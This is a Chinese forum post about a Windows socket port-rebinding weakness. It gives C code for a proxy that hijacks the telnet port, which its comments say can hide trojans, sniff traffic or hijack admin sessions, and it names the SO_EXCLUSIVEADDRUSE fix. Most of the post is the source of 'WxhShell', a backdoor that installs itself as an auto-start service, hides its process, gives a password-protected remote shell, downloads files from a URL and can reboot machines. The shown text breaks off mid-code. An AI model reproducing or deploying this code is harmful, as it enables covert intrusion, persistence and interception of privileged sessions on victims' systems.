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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OR&'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Uq:WW1=kh  
Q M#1XbT  
  saddr.sin_family = AF_INET; L9|55z  
Ho}"8YEXNV  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Rr'#OxF  
vr,8i7*0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xu4C*]A>  
B}PT-S1l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i'w8Li  
%V,2,NCd  
  这意味着什么?意味着可以进行如下的攻击: Rqi= AQ  
e;+6U"Jx*  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n9 LTrhLqp  
x)Y?kVw21"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1S&GhJ<wJ  
Gb=pQ (n4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O_zW/#  
vD=>AAvG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )w?DB@Tx  
YP^=b}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 JHxy_<p/  
/s@t-gTi  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4pvT?s>68  
w\"~ *(M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -C]k YQ  
#41xzN  
  #include ^#|Sl D]  
  #include Fgx{ s%&-  
  #include #.<Uy."z2  
  #include    -8HK_eQn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DzfgPY_Py  
  int main() YXJreM5  
  { kPhdfF*Q  
  WORD wVersionRequested; jL }bGD  
  DWORD ret; /5Od:n  
  WSADATA wsaData; DjyqQ yq~  
  BOOL val; f9" M^i  
  SOCKADDR_IN saddr; :U6"HP+?g-  
  SOCKADDR_IN scaddr; P3 Wnso  
  int err; L701j.7"  
  SOCKET s; !"v[\||1  
  SOCKET sc;  Re=()M  
  int caddsize; 9J3@8h p  
  HANDLE mt; 4YuJ-  
  DWORD tid;   %^ bHQB%  
  wVersionRequested = MAKEWORD( 2, 2 ); FAkrM?0/  
  err = WSAStartup( wVersionRequested, &wsaData ); / [s TN.MG  
  if ( err != 0 ) { Y FJw<5&  
  printf("error!WSAStartup failed!\n"); oZD+AF$R  
  return -1;  hTEwp.  
  } j*.K|77WHj  
  saddr.sin_family = AF_INET; )j/2Z-Ev:W  
   [P'"|TM[ ~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ww}4   
t5| }0ID-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); S/itK3  
  saddr.sin_port = htons(23); - w{`/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y*G3dWb  
  { UmR\2 cs  
  printf("error!socket failed!\n"); `rLcJcW  
  return -1; Udi  
  } 8l1s]K qr  
  val = TRUE; :*=fGwIWS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Silh[8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) D-/q-=zd  
  { {\WRW}iO  
  printf("error!setsockopt failed!\n"); |erG cKk  
  return -1; YE*%Y["  
  } jIL+^{K<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &KYPi'C9!z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (# c|San  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &G|^{!p/G  
x5(6U>-Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y&XO:jB  
  { u|mTF>L  
  ret=GetLastError(); VLfc6:Yg  
  printf("error!bind failed!\n"); t]CA!i`  
  return -1;  [HEljEv  
  }  0"F|)  
  listen(s,2); 6MD9DqD  
  while(1) $} @gR] Z  
  { fTOGW`s^  
  caddsize = sizeof(scaddr); 7D KTd^^M  
  //接受连接请求 \ xJ_ )r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [  *~2Ts  
  if(sc!=INVALID_SOCKET) ;e"dxAUe!^  
  { Tc.QzD\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0H +!v  
  if(mt==NULL) :#VdFMC<  
  { >T#" Im-  
  printf("Thread Creat Failed!\n"); y;if+  
  break; &7 K=  
  } &z]x\4#,  
  } #z1/VZ  
  CloseHandle(mt); 5SMV3~*P  
  } YNB7`:  
  closesocket(s); j"s7P%  
  WSACleanup(); j8G$,~v  
  return 0; lu?:1V-  
  }   k%TBpG:T  
  DWORD WINAPI ClientThread(LPVOID lpParam) bZ>dr{%%e  
  { _P` ^B  
  SOCKET ss = (SOCKET)lpParam; b8 E{~z  
  SOCKET sc; b/w5K2  
  unsigned char buf[4096]; SajG67  
  SOCKADDR_IN saddr; |vw],r6  
  long num; =.qX u+  
  DWORD val; -@tj0OHg  
  DWORD ret;  6oI/*`>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 _o T+x%i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ? *v*fs0  
  saddr.sin_family = AF_INET; xi<yB0MoA  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yr*!T= z  
  saddr.sin_port = htons(23); S"t\LB*'Ls  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~dC.,"  
  { 2 :4o`o  
  printf("error!socket failed!\n"); AHo}K\O?r  
  return -1; zsLMROo3  
  } e*y l_iW  
  val = 100; FHSFH>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t2iQ[`/?~  
  { ~"\WV4}`v  
  ret = GetLastError(); lWn}afI  
  return -1; 6V"u ovN2  
  } T/.UMw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O ^!Bc}$  
  { N^M6*,F,J  
  ret = GetLastError(); Ifokg~X~G  
  return -1; BCuoFw)  
  } 0CvGpM,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B]NcY&A  
  { 9q+W>wt  
  printf("error!socket connect failed!\n"); n2~WUK  
  closesocket(sc); rvU^W+d  
  closesocket(ss); 2rW9ja  
  return -1; qW4DW4  
  } +\*b?x  
  while(1) 73B[|J*  
  { %JH/|mA&|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BNF*1JO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E+|K3EJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DgK*> A  
  num = recv(ss,buf,4096,0); m[%':^vSr  
  if(num>0) ?6\N&MTF  
  send(sc,buf,num,0); mK/E1a)AG3  
  else if(num==0) d!46`b$rd  
  break; Io"3wL)2  
  num = recv(sc,buf,4096,0); d >NO}MR  
  if(num>0) &Nh zEl1  
  send(ss,buf,num,0); F3K<-JK+  
  else if(num==0) MkHkM  
  break; k<P`  
  } *~YdL7f)J  
  closesocket(ss); /CH]'u^j  
  closesocket(sc); a0+q^*\d\R  
  return 0 ; f_$hK9I  
  } x[$KZGK+GL  
a6gPJF[Jo  
]l C2YD}  
========================================================== xY/F)JOeG  
nW*cqM%+  
下边附上一个代码,,WXhSHELL Q"D5D rj  
'&hd^9]Lo  
========================================================== d"IZt;s/,  
Phk3Jv  
#include "stdafx.h" 2 S~(P  
2@lGY_O!m  
#include <stdio.h> !*L)v  
#include <string.h> $U. |  
#include <windows.h> w;{Q)_A  
#include <winsock2.h> t#@z_Mn\  
#include <winsvc.h> P 4t@BwU$  
#include <urlmon.h> 7y3WV95Z\  
3!\h'5{  
#pragma comment (lib, "Ws2_32.lib") |OAM;@jH  
#pragma comment (lib, "urlmon.lib") qjhk#\y  
Woj5 yr  
#define MAX_USER   100 // 最大客户端连接数 & !ds#-  
#define BUF_SOCK   200 // sock buffer i NfAn&  
#define KEY_BUFF   255 // 输入 buffer =+K?@;?  
]{# =WTp]  
#define REBOOT     0   // 重启 *l 4[`7|  
#define SHUTDOWN   1   // 关机 W7'<Jom|?  
8B &EH+  
#define DEF_PORT   5000 // 监听端口 EPH n"YK  
+or<(%o @  
#define REG_LEN     16   // 注册表键长度 OJ"./*H  
#define SVC_LEN     80   // NT服务名长度 e ><0crb  
7l$ u.[  
// 从dll定义API 9unRMvE u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3N-pND0>p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nIr`T^c9c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j`"!G*Vh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qPD(D{,f$  
qbD 7\%  
// wxhshell配置信息 PuREqa\_[  
struct WSCFG { 7I'C'.6iM  
  int ws_port;         // 监听端口 >W8"Ar  
  char ws_passstr[REG_LEN]; // 口令 KUYwc@si\  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z#Kf%x.  
  char ws_regname[REG_LEN]; // 注册表键名 yc~<h/}#  
  char ws_svcname[REG_LEN]; // 服务名 =k.%#h{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O^=+"O]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x55W"q7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?RS:I%bL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no te2vv]W1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RZV6;=/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f$\ O:E=  
RC[Sa wA  
}; /q\e&&e  
~a[ /l  
// default Wxhshell configuration bA,Zfsr6#  
struct WSCFG wscfg={DEF_PORT, z2t+1 In,  
    "xuhuanlingzhe", hXth\e\[{`  
    1, jzJTV4&zjs  
    "Wxhshell", m N}szW,  
    "Wxhshell", {eI'0==  
            "WxhShell Service", 64mEZ_kG,  
    "Wrsky Windows CmdShell Service", WYTqQqQk  
    "Please Input Your Password: ", vs=q<Uw)  
  1, Rr %x;-  
  "http://www.wrsky.com/wxhshell.exe", i(;`x  
  "Wxhshell.exe" Lu.+J]Rz  
    }; {CI4AT!?W  
$'3xl2T  
// 消息定义模块 GW;%~qH[,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "}qs +  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aH{)|?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ltgtD k  
char *msg_ws_ext="\n\rExit."; J??AU0 vh  
char *msg_ws_end="\n\rQuit."; 9/{zS3h3  
char *msg_ws_boot="\n\rReboot..."; W6i{ yne W  
char *msg_ws_poff="\n\rShutdown..."; uStAZ ~b\  
char *msg_ws_down="\n\rSave to "; 30uPDDvar  
#O}}pF  
char *msg_ws_err="\n\rErr!"; ;\2Z?Kq  
char *msg_ws_ok="\n\rOK!"; 4\&Y;upy+  
o= ($'(1  
char ExeFile[MAX_PATH]; hA 5')te<  
int nUser = 0;  A\Ib  
HANDLE handles[MAX_USER]; kJ FWk  
int OsIsNt; Icrnu}pl_  
8^ f:-5  
SERVICE_STATUS       serviceStatus; xt5/`C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5\bGCf  
g) oOravV  
// 函数声明 Mz6(M,hkq  
int Install(void); D1xGUz2r  
int Uninstall(void); )Q =>7%ZA  
int DownloadFile(char *sURL, SOCKET wsh); >[|N%9\  
int Boot(int flag); '1ySBl1>  
void HideProc(void); g) u%?T  
int GetOsVer(void); xz"60xxY  
int Wxhshell(SOCKET wsl); YkWHI (p  
void TalkWithClient(void *cs); zk8 )!Af  
int CmdShell(SOCKET sock); ( 4L/I  
int StartFromService(void); BM,hcT r?  
int StartWxhshell(LPSTR lpCmdLine); v{a%TA9-  
Q!1;xw~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z{0BH{23  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f+ceL'fr  
8-nf4=ll  
// 数据结构和表定义 <@-O 06  
SERVICE_TABLE_ENTRY DispatchTable[] = 8O,\8:I#  
{ Yao}Xo9}  
{wscfg.ws_svcname, NTServiceMain}, l}z<q  
{NULL, NULL} 4$&l`yWU+  
}; 6*9 wGLE  
\QK@wgu  
// 自我安装 S"Cz. bv  
int Install(void) {g%N(2  
{ BUBx}dbCM  
  char svExeFile[MAX_PATH]; b]4dmc*N+  
  HKEY key; 4@?0wV  
  strcpy(svExeFile,ExeFile); Ocx"s\q(  
j1K3|E  
// 如果是win9x系统,修改注册表设为自启动 K4!-%d$  
if(!OsIsNt) { ;9T}h2^`B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c}o 6Rm50  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f)/Z7*Z  
  RegCloseKey(key); |q77  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NZq-%bE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ccuGM WG*  
  RegCloseKey(key); .c"nDCFVR  
  return 0; ^}=)jLS  
    } y d 97ys  
  } `-L?x2)U  
} dM-cQo:  
else { 1(?4*v@B  
.zO2g8(VR  
// 如果是NT以上系统,安装为系统服务 SN{+ Pk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +NPL.b|  
if (schSCManager!=0) F<* /J]  
{ &F&`y  
  SC_HANDLE schService = CreateService 15g! Q *v  
  ( X( N~tE  
  schSCManager, EMmgX*iu@  
  wscfg.ws_svcname, p'/\eBhG]=  
  wscfg.ws_svcdisp, "Lbsq\W>  
  SERVICE_ALL_ACCESS, C Bkoky 9&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , nj[TTnd Jt  
  SERVICE_AUTO_START, .{1$;K @  
  SERVICE_ERROR_NORMAL, d/7fJ8y8  
  svExeFile, x o"GNFh!  
  NULL, \]tBwa  
  NULL, ;>J!$B?,  
  NULL, bWswF<y-  
  NULL, v"bWVc~H  
  NULL W>@ti9\t  
  ); r<`:Q]  
  if (schService!=0) }T?X6LA$I8  
  { 7OV^>"S  
  CloseServiceHandle(schService); fq7#rZCxX  
  CloseServiceHandle(schSCManager); hhTtxC<:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); nh} Xu~#_  
  strcat(svExeFile,wscfg.ws_svcname); INg0[Lpc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sU_K^=6*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f@OH~4FG  
  RegCloseKey(key); o7) y~ ke  
  return 0; )(}[S:`  
    } -H-U8/WC  
  } sl'4AK~\  
  CloseServiceHandle(schSCManager); X{-4w([  
} NdXHpq;  
} 6j%%CWU{~  
0@ `]m  
return 1; k%.v`H!  
} \]ib%,:YU  
2.q Zs8&  
// 自我卸载 hY"eGaoF"  
int Uninstall(void) 6V;Dcfvi  
{ _Id'56N]J!  
  HKEY key; dN{At-  
E)v~kC}7.  
if(!OsIsNt) { t 7Q$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BlVHP8/b  
  RegDeleteValue(key,wscfg.ws_regname); Y 6a`{'  
  RegCloseKey(key); MP%#)O6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'n &p5%  
  RegDeleteValue(key,wscfg.ws_regname); `~GXK  
  RegCloseKey(key); B>2=IZ  
  return 0; ^{Y,`F  
  } eD>b|U=/  
} +b|F_  
} Ua1&eC Zi  
else { Etz#+R&*  
c1H.v^Y5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e={O&9Z  
if (schSCManager!=0) aHhLz>H'  
{  ?8>a;0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =E-x0sr?  
  if (schService!=0) XcJ5KTn  
  { pS?D~0Nb  
  if(DeleteService(schService)!=0) { {wS i?;[Gq  
  CloseServiceHandle(schService); 7e<=(\(yl  
  CloseServiceHandle(schSCManager); >.?yz   
  return 0; vXJs.)D7  
  } lu#a.41  
  CloseServiceHandle(schService); pH'Tx>  
  } ^twyy9VR  
  CloseServiceHandle(schSCManager); ^ D0"m>3r  
} 3D|Lb]=  
} HSruue8  
YD4I2'E  
return 1; $Itmm/M  
} "*lx9bvV_  
ZU\$x<,  
// 从指定url下载文件 JsY,Q,D q  
int DownloadFile(char *sURL, SOCKET wsh) ]3,'U(!+  
{ ?eJ'$  
  HRESULT hr; rZUTBLZ`j  
char seps[]= "/"; e~vO   
char *token; <&eJIz=  
char *file; X@~/.H5  
char myURL[MAX_PATH]; pSx5ume95"  
char myFILE[MAX_PATH]; frcAXh9  
F8%^Ed~@  
strcpy(myURL,sURL); xF_u:}7`  
  token=strtok(myURL,seps); IOHWb&N6  
  while(token!=NULL) XpAJP++  
  { z_c-1iXCW  
    file=token; _`2%)#^ o  
  token=strtok(NULL,seps); dsIbr"m  
  } -@AhJY.  
2a@X-Di  
GetCurrentDirectory(MAX_PATH,myFILE); U&3!=|j  
strcat(myFILE, "\\"); Y{dSQ|xz^  
strcat(myFILE, file); uQdeKp4(  
  send(wsh,myFILE,strlen(myFILE),0); f1NHW|_j  
send(wsh,"...",3,0); wBt7S!>G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rfDGS%!O%  
  if(hr==S_OK) e N`+r  
return 0; l0&Fm:))k  
else u6C_*i{2  
return 1; Zbo4{.#  
TG=A]--_a  
} dV$[O`F* b  
DY`0 `T  
// 系统电源模块 +}jzge"  
int Boot(int flag) 5c5!\g~'  
{ Gs#9'3_U5  
  HANDLE hToken; k4#j l<R  
  TOKEN_PRIVILEGES tkp; #19O5  
J>X@g;  
  if(OsIsNt) { 6$"IeBRO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1F.._5_"]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 05F/&+V  
    tkp.PrivilegeCount = 1; c:Czu  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QFTiE1mGH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iv`G}.Bo  
if(flag==REBOOT) { }w)}=WmD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KXMf2)pa  
  return 0; lLQcyi0  
} &pK0>2  
else { +.djC3^:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J5a8U&A  
  return 0; <xBL/e %  
} +;+G+Tn  
  } Gd!_9S`68  
  else { km>ZhsqD  
if(flag==REBOOT) { /Ey%aA4v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =U84*HAv  
  return 0; $`OyGeq"T  
} `U0XvWPr[  
else { nZiwR4kM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vu_oxL}  
  return 0; Ft;x@!h%  
} t<Sa ;[+  
} 0SD'&   
Xf ^_y(?  
return 1; t tr`  
} !ak760*A  
;(mNjxA  
// win9x进程隐藏模块 9T;>gm  
void HideProc(void) dLqBu~*  
{ :V$\y up  
h[! @8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2KO`+  
  if ( hKernel != NULL ) &y0GdzfQd  
  { cZ%tJ(&\7X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'Rnzu0<lF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #^9bBF/  
    FreeLibrary(hKernel); L=54uCv Q  
  } u ^#UsOt+  
%i7U+v(d  
return; UNSXr`9  
} t=eI*M+>h  
zWPX  
// 获取操作系统版本 `JV(ae0  
int GetOsVer(void) z}}P+P/  
{ "+2Cs  
  OSVERSIONINFO winfo; OL_#Uu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h [Sd3Z*  
  GetVersionEx(&winfo); iWWtL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6RIbsy  
  return 1; KKQT?/ {b  
  else oFp1QrI3k8  
  return 0; +hKU]DP2;  
} "Plo[E  
?!m\|'s-  
// 客户端句柄模块 ;HYEJ3  
int Wxhshell(SOCKET wsl) >r X$E<B\  
{ erv94acq  
  SOCKET wsh; .[eC w  
  struct sockaddr_in client; ,^n&Q'p3  
  DWORD myID; ]'n4e*  
YeT{<9p  
  while(nUser<MAX_USER) K%`]HW@I{  
{ C ]B P}MY<  
  int nSize=sizeof(client); {tOf0W|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aZo}Ix:/  
  if(wsh==INVALID_SOCKET) return 1; |3FGMg%  
Kt qOA[6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6n]jx:CZ,  
if(handles[nUser]==0) s[eSPSFZ  
  closesocket(wsh); Q%~BD@Io  
else 67/\0mV:~  
  nUser++; A|K=>7n]U  
  } h$sOJs~6h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GwXhn2  
"] 2^O  
  return 0; {m3#1iV9  
} [So1`IA6  
m<#^c?u  
// 关闭 socket T)<^S(5 7  
void CloseIt(SOCKET wsh) > jiez,  
{ r"K!]Vw  
closesocket(wsh); DC_uh  
nUser--; `e;r$Vpd_  
ExitThread(0); *otgI"y\  
} H;<>uE Lie  
`z q+Xl  
// 客户端请求句柄 z{ M2tLNb  
void TalkWithClient(void *cs) gREk,4DAv  
{ ?Hdu=+ZV  
n(V{ [  
  SOCKET wsh=(SOCKET)cs; 9%SC#V'  
  char pwd[SVC_LEN]; %=*|: v  
  char cmd[KEY_BUFF]; ?vbAaRg50s  
char chr[1]; )w<Z4_!N4s  
int i,j; Vp1ct06^  
a6xo U;T  
  while (nUser < MAX_USER) { C6F7,v62  
:J @3:+sr  
if(wscfg.ws_passstr) { Wj!+ E{y<r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [\eVX`it  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y j bp:  
  //ZeroMemory(pwd,KEY_BUFF); {U>N*&_`  
      i=0; x%k@&d;z  
  while(i<SVC_LEN) { ex`T 9j.=B  
f34/whD65  
  // 设置超时 y]PuY \+  
  fd_set FdRead; ?+yM3As9_V  
  struct timeval TimeOut; N<b2xT  
  FD_ZERO(&FdRead); IUEpE9_  
  FD_SET(wsh,&FdRead); #^]vhnbN  
  TimeOut.tv_sec=8; _OjZ>j<B.  
  TimeOut.tv_usec=0; JvvN>bg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F7j/Zuj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (_@]-   
JF~9efWe>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $kN=45SR  
  pwd=chr[0]; oj{CNa  
  if(chr[0]==0xd || chr[0]==0xa) { djnES,^%9  
  pwd=0; MCEHv}W  
  break; =#pYd~  
  } PCL ;Z  
  i++; 9,JM$ Y {  
    } l(87s^_  
jDQ?b\^  
  // 如果是非法用户,关闭 socket - G/qfd|s/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2ry@<88  
} <'UGYY\wg0  
<)!,$]S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R ai 0 4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +C~d;p  
(p12=EB<  
while(1) { G{4s~Pco[Q  
ilK*Xo  
  ZeroMemory(cmd,KEY_BUFF); g=t7YQq_~  
^dk$6%0  
      // 自动支持客户端 telnet标准   u_+iH$zA  
  j=0; u;t~ z  
  while(j<KEY_BUFF) { -8FUR~WJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h/{1(c}  
  cmd[j]=chr[0]; T^`; wD  
  if(chr[0]==0xa || chr[0]==0xd) { Xj{fM\,"9  
  cmd[j]=0; 3+uL@LXd  
  break; *-Yw%uR  
  } T_D] rMl  
  j++; .1;UEb|T  
    } pw4^E|X  
itirh"[  
  // 下载文件 ,>b>I#{  
  if(strstr(cmd,"http://")) { *IWW,@0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]OdZlZBsJ  
  if(DownloadFile(cmd,wsh)) I-g/ )2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  P33xt~  
  else M+VWAh#uD  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [yk-<}#B  
  } F{a;=h#@Q  
  else { t>?tWSNf  
>O24#!9XW  
    switch(cmd[0]) { 0'Ho'wDb  
  , p~1fB-/  
  // 帮助 D@68_sn  
  case '?': { w5%i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q*%}w_D6f  
    break; b=/'c Q  
  } /<8y>  
  // 安装 HrsG^x  
  case 'i': { #L+:MA7H  
    if(Install()) bz#]>RD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kO3\v)B;  
    else Pb8@owG8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {LF4_9 =  
    break; CKK}Z;~:  
    } ]r|oNGD)G  
  // 卸载 \298SH(!7  
  case 'r': { /o m++DxV  
    if(Uninstall()) < z2wt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~o%igJ }.C  
    else xH*X5?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HVHv,:bPo  
    break; -g2l-N{&  
    } \_8wU' 7  
  // 显示 wxhshell 所在路径 xxu  
  case 'p': { jO&*E 'pk  
    char svExeFile[MAX_PATH]; 9ET1Er{4  
    strcpy(svExeFile,"\n\r"); iI IXv  
      strcat(svExeFile,ExeFile); pCh v;  
        send(wsh,svExeFile,strlen(svExeFile),0); h.PBe  
    break; V9v20iX  
    } kzRJzJquP  
  // 重启 I8 :e `L  
  case 'b': { s4"Os gP+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -<6?ISF2  
    if(Boot(REBOOT)) @ps(3~?7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {jz`K1  
    else { V3t#kv  
    closesocket(wsh); Y"MHs0O5>  
    ExitThread(0); MWh Y&I+  
    } G*@!M%/  
    break; _2!8,MX  
    } VWE>w|'  
  // 关机 ;[Mvk6^'R  
  case 'd': { |R0f--;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lQ;BI~  
    if(Boot(SHUTDOWN)) Q- |Y  
